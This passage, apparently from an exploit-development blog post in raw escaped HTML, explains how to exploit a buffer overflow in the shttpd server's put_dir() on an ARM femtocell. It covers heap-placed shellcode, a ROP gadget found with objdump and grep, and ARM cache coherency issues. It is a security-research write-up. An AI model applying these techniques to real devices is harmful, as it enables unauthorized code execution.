normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #993333;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; my_snprintf&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;path&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;sizeof&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;path&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;%s%s&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; root&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; c&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;uri&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; ...&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;ch.&lt;span style=&quot;color: #202020;&quot;&gt;range&lt;/span&gt;.&lt;span style=&quot;color: #202020;&quot;&gt;v_vec&lt;/span&gt;.&lt;span style=&quot;color: #202020;&quot;&gt;len&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #0000dd;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; send_server_error&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #0000dd;&quot;&gt;501&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;PUT Range Not Implemented&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt; &lt;span style=&quot;color: #b1b100;&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;rc &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; put_dir&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;path&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #0000dd;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; send_server_error&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #0000dd;&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;OK&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;
There we go, path originates from c-&amp;gt;uri which is an url-decoded form of itself.&lt;br /&gt;
One important thing we have to take into account at this point is that the URL can&#039;t be of arbitrary length, but is checked against URI_MAX.&lt;br /&gt;
We have to overflow a buffer in put_dir() with a length of FILENAME_MAX...&lt;br /&gt;
However, we are lucky, URI_MAX is defined as 16384 (config.h) while FILENAME_MAX from put_dir is an alias for MAX_PATH which is defined as 4096.&lt;br /&gt;
So where is c-&amp;gt;uri coming from? Again we look at shttpd.c, this time the parse_http_request() function:&lt;br /&gt;
&lt;div class=&quot;c geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #993333;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;void&lt;/span&gt; parse_http_request&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #993333;&quot;&gt;struct&lt;/span&gt; conn &lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt;strong&lt;span style=&quot;color: #339933;&quot;&gt;&amp;gt;&lt;/span&gt;c&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; ...&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt; &lt;span style=&quot;color: #b1b100;&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;uri &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; malloc&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;uri_len &lt;span style=&quot;color: #339933;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #0000dd;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;==&lt;/span&gt; NULL&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; send_server_error&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #0000dd;&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;Cannot allocate URI&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt; &lt;span style=&quot;color: #b1b100;&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; my_strlcpy&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;uri&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #993333;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;/&lt;/span&gt;strong&lt;span style=&quot;color: #339933;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; start&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; uri_len &lt;span style=&quot;color: #339933;&quot;&gt;+&lt;/span&gt; 1&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; parse_headers&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;headers&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;request &lt;span style=&quot;color: #339933;&quot;&gt;+&lt;/span&gt; req_len&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;-&lt;/span&gt; c&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;headers&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;&amp;amp;&lt;/span&gt;c&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;ch&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ...&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #202020;&quot;&gt;decide_what_to_do&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;c&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;
As we can see, c-&amp;gt;uri is allocated on the heap and as I mentioned, heap randomization was introduced pretty late on ARM/Linux, I assumed I can just jump right into the heap copy of my input.&lt;br /&gt;
There is a nice side-effect of using the heap copy of the buffer to place our shellcode.&lt;br /&gt;
Because url_decode() is called on the complete uri length, we have no restrictions whatsoever regarding the bytes we can&lt;br /&gt;
include in our final shellcode, it can include zeros and the-like in url-encoded form.&lt;br /&gt;
Anyway, few minutes later it became clear that I can&#039;t just jump right to it &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/laugh.png&quot; alt=&quot;:-D&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;div class=&quot;bash geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;# cat /proc/480/maps &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;00008000-0009f000 r-xp 00000000 1f:06 6002148 &amp;#160; &amp;#160;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;opt&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;ubiquisys&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;primary&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;bin&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;wsal&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;000a6000-000a8000 rw-p 00096000 1f:06 6002148 &amp;#160; &amp;#160;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;opt&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;ubiquisys&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;primary&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;bin&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;wsal&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;000a8000-000c9000 rwxp 000a8000 00:00 0 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;&lt;span style=&quot;color: #7a0874; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;heap&lt;span style=&quot;color: #7a0874; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;...&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;402eb000-402f6000 r-xp 00000000 1f:05 2926580 &amp;#160; &amp;#160;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;lib&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;libgcc_s.so.1&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;402f6000-402fd000 &lt;span style=&quot;color: #660033;&quot;&gt;---p&lt;/span&gt; 0000b000 1f:05 2926580 &amp;#160; &amp;#160;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;lib&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;libgcc_s.so.1&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;402fd000-402fe000 rw-p 0000a000 1f:05 2926580 &amp;#160; &amp;#160;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;lib&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;libgcc_s.so.1&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;402fe000-4040c000 r-xp 00000000 1f:05 1481528 &amp;#160; &amp;#160;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;lib&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;libc-2.3.6.so&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;4040c000-40414000 &lt;span style=&quot;color: #660033;&quot;&gt;---p&lt;/span&gt; 0010e000 1f:05 &lt;span style=&quot;color: #000000;&quot;&gt;1481528&lt;/span&gt; &amp;#160; &amp;#160;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;lib&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;libc-2.3.6.so&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;40414000&lt;/span&gt;-&lt;span style=&quot;color: #000000;&quot;&gt;40416000&lt;/span&gt; r--p 0010e000 1f:05 &lt;span style=&quot;color: #000000;&quot;&gt;1481528&lt;/span&gt; &amp;#160; &amp;#160;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;lib&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;libc-2.3.6.so&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;40416000&lt;/span&gt;-&lt;span style=&quot;color: #000000;&quot;&gt;40417000&lt;/span&gt; rw-p 00110000 1f:05 &lt;span style=&quot;color: #000000;&quot;&gt;1481528&lt;/span&gt; &amp;#160; &amp;#160;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;lib&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;libc-2.3.6.so&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;...&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;
While the leading zero itself was no a problem for the input itself (because I can just urlencode this), put_dir has a problem with that.&lt;br /&gt;
If we recall, the loop is using &lt;string&gt;strchr&lt;/string&gt; to determine len.&lt;br /&gt;
So if we include a zero before the terminating / in the URL to jump to our heap buffer, our buffer overflow will actually never happen.&lt;br /&gt;
However, the path copy that is passed to put_dir() is created using snprintf() and this is little-endian.&lt;br /&gt;
Therefore, we can include &lt;strong&gt;one&lt;/strong&gt; zero in the url-decoded, stack-based path buffer (in decide_what_to_do()) and pop the address including the zero from there.&lt;br /&gt;
It just has to be past the / character that we need to get a large len value.&lt;br /&gt;
How do we pop it from there after our buffer was overwritten and the stack frame of put_dir() was teared down?&lt;br /&gt;
Here is where some ROP is needed (or call it jump-oriented).&lt;br /&gt;
&lt;br /&gt;
When the put_dir() function is left, the stack pointer is below the path stack buffer that was passed as an address to the put_dir() function (from where it was copied into the stack buffer over put_dir) and is as well already url-decoded.&lt;br /&gt;
So if we can lift our stack pointer back up, it should be possible to pop an address with a leading zero from this buffer.&lt;br /&gt;
&lt;br /&gt;
Looking at the mentioned program map output, it is visible that libc and libgcc are mapped at addresses without a leading zero. Their base is also not randomized.&lt;br /&gt;
I didn&#039;t have any particular tool to find ROP snippets, but as on ARM all instructions are word aligned, it was easy to find proper instructions with objectdump&lt;br /&gt;
and grep. In particular &lt;i&gt;objdump -d /lib/libc-2.3.6.so | grep -A 2 -E &#039;add sp, sp,.*&#039; | grep -B 2 -E &#039;pop.*(pc|lr)&#039;&lt;/i&gt; (can also be done with radare if you&#039;re more advanced in usin it than i am &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;).&lt;br /&gt;
This way I searched for stack lifting instructions followed by an instruction that pops stack buffer content to pc or the link register in order to regain control.&lt;br /&gt;
I found a good candidate:&lt;br /&gt;
&lt;div class=&quot;asm geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;0x00013994&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&amp;gt; pD 8@sym&lt;span style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;sigprocmask&lt;span style=&quot;color: #339933;&quot;&gt;+&lt;/span&gt;108&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x00028ea0 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;84d08de2 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;add&lt;/span&gt; &lt;span style=&quot;color: #00007f;&quot;&gt;sp&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #00007f;&quot;&gt;sp&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; #&lt;span style=&quot;color: #0000ff;&quot;&gt;132&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; 0x84&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x00028ea4 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;f080bde8 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;pop&lt;/span&gt; &lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#123;&lt;/span&gt;r4&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r5&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r6&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r7&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; pc&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;
This was perfect. Now I could just make my first jump to this snippet, lift the stack pointer back into my buffer, place the address of sigprocmask+108 url-encoded&lt;br /&gt;
in my buffer (together with fake r4-r7 values) and lift the stack until I&#039;m past the / character and pop my zero-address from there.&lt;br /&gt;
The goal was still to jump to the shellcode in the heap copy of the buffer.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;The ARM-stacle:&lt;/strong&gt;&lt;br /&gt;
This would work well, if the target architecture wouldn&#039;t be ARM.&lt;br /&gt;
There is an important constraint on ARM when writing exploits. Unlike x86, ARM is based on the &lt;strong&gt;&lt;a href=&quot;http://blogs.arm.com/software-enablement/141-caches-and-self-modifying-code/&quot;&gt;Harvard Architecture&lt;/a&gt;&lt;/strong&gt;.&lt;br /&gt;
This means that code and data cache are separated. I didn&#039;t know this first.&lt;br /&gt;
A result of this was that when hitting my heap shellcode, the program crashed with a SIGILL.&lt;br /&gt;
However, analyzing the coredump and the pc at that time always showed correct instructions.&lt;br /&gt;
Due to the Harvard Architecture, my shellcode is copied into the data cache.&lt;br /&gt;
But in order to execute it, it needs to land in the data cache and thus written back to main memory.&lt;br /&gt;
Because it wasn&#039;t the coredump displayed instructions that weren&#039;t actually in the data cache and thus resulting in SIGILL due to whatever was executed as instructions at this point.&lt;br /&gt;
&lt;br /&gt;
It turns out that there are two solutions two this problem. The first one is a simple instruction (MCR). However, it is limited to kernel mode.&lt;br /&gt;
The other option is a clear cache syscall that takes 3 arguments, a start address, a range and flags. This seemed nice.&lt;br /&gt;
What was even more nice is that the wsal links against libgcc which provides a wrapper to do that:&lt;br /&gt;
&lt;br /&gt;
